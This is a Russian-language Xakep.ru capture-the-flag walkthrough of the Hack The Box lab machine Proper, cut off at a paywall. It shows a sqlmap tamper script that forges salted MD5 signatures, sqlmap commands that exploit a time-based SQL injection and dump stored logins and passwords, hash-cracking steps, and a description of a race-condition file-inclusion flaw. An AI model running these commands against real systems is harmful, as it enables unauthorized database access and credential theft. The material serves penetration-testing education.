Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
IP машины — 10.10.10.231, заносим его в /
:
10.10.10.231 proper.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0.
Приступаем к осмотру сайта.
Сканирование веб-контента
На самом сайте зацепиться не за что, поэтому врубаем перебор каталогов.
Справка: сканирование веб-сайта
Сканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite.
Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов.
Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки.
Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл products-ajax.
принимает какие‑то необычные параметры. Закинем этот запрос в Burp Repeater для теста. В таких случаях стоит получить все возможные ответы от сервера при разном количестве параметров и даже их разном значении. Так, если удалить один из параметров, то получаем ошибку, содержащую соль. А если изменить значение любого из параметров, то нам сообщат об обнаружении атаки.
Так как используется соль, параметр h
, скорее всего, хеш MD5 от значения параметра order
. Если его изменить, это приведет к ошибке, что подтверждает нашу догадку. Чтобы это проверить, нужно попробовать все возможные варианты хеширования с использованием соли. Их можно найти в справке к программе John the Ripper.
john --list=subformats | grep md5
Для определения алгоритма нам нужно создать словарь (word
), содержащий строку id
, и файл с хешем и солью (hash
), записанными через знак доллара: hash$salt
. Затем перебираем все возможные форматы. Чтобы сделать это быстро, напишем скрипт Bash, который будет парсить формат из вывода справки, а затем применять его в команде брута хеша.
Сначала установим перенос строки в качестве разделителя (IFS
), а потом будем в цикле получать каждую строку из справки (переменная entry
). Для каждой такой строки (например, Format
) будем парсить формат:
- Командой
tr
удаляем из строки все пробелы (результат:-d ' ' Format=dynamic_29
).type=dynamic_29: md5( utf16( $p) ) - Командой
cut
разделяем строку по символу-d '=' -f 3 =
и получаем третью часть (результат:dynamic_29:
).md5( utf16( $p) ) - Командой
cut
разделяем строку по символу-d ': ' -f 1 :
и получаем первую часть (результат:dynamic_29
).
Затем выполняем перебор по полученному алгоритму (john
). Так выглядит полный скрипт:
#!/bin/bashIFS=$''for entry in $(john --list=subformats | grep md5)do format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)" echo -e "\nFormat: $format ---------------------------------\n" john --format=$format --wordlist=word hashdone
Для формата dynamic_4
(salt
) перебор закончился успешно. Так мы подтверждаем свое предположение и получаем искомый алгоритм хеширования с использованием соли.
Точка входа
Теперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции.
info
Темперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env pythonfrom hashlib import md5from urllib.parse import quote_plusfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef tamper(payload, **kwargs): ''' ''' h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest() return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его sqlmap_tamper.
) нужно разместить в директории /
, после чего запускаем sqlmap и проверяем, есть ли уязвимость. Нам нужно указать наш темпер в параметре tamper
, задать опцию -p
для проверки, а также то, что мы не хотим использовать кодирование URL.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper
И мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция --dbs
).
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs
Так мы получаем три базы данных: служебная information_schema
, тестовая test
и, скорее всего, нужная нам база данных приложения — cleaner
. Получим все таблицы из базы опцией --tables
, а саму базу указываем в параметре -D
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables
В базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица customers
. Получим названия столбцов опцией --columns
, указав таблицу в параметре -T
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns
Действительно, нашлись учетные данные! Давай получим значения (опция --dump
) из столбцов login
и passwords
. Столбцы указываем через запятую в параметре -C
.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump
Извлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат!
Точка опоры
Авторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра theme
.
Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру test
.
Уязвимость RFI
Как мы видим из текста ошибки, из указанной нами директории подключается файл header.
(строка 12) с помощью функции file_get_contents
, и если в файле отсутствует последовательность символов <
(строка 18), то он добавляется как include (строка 19).
Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»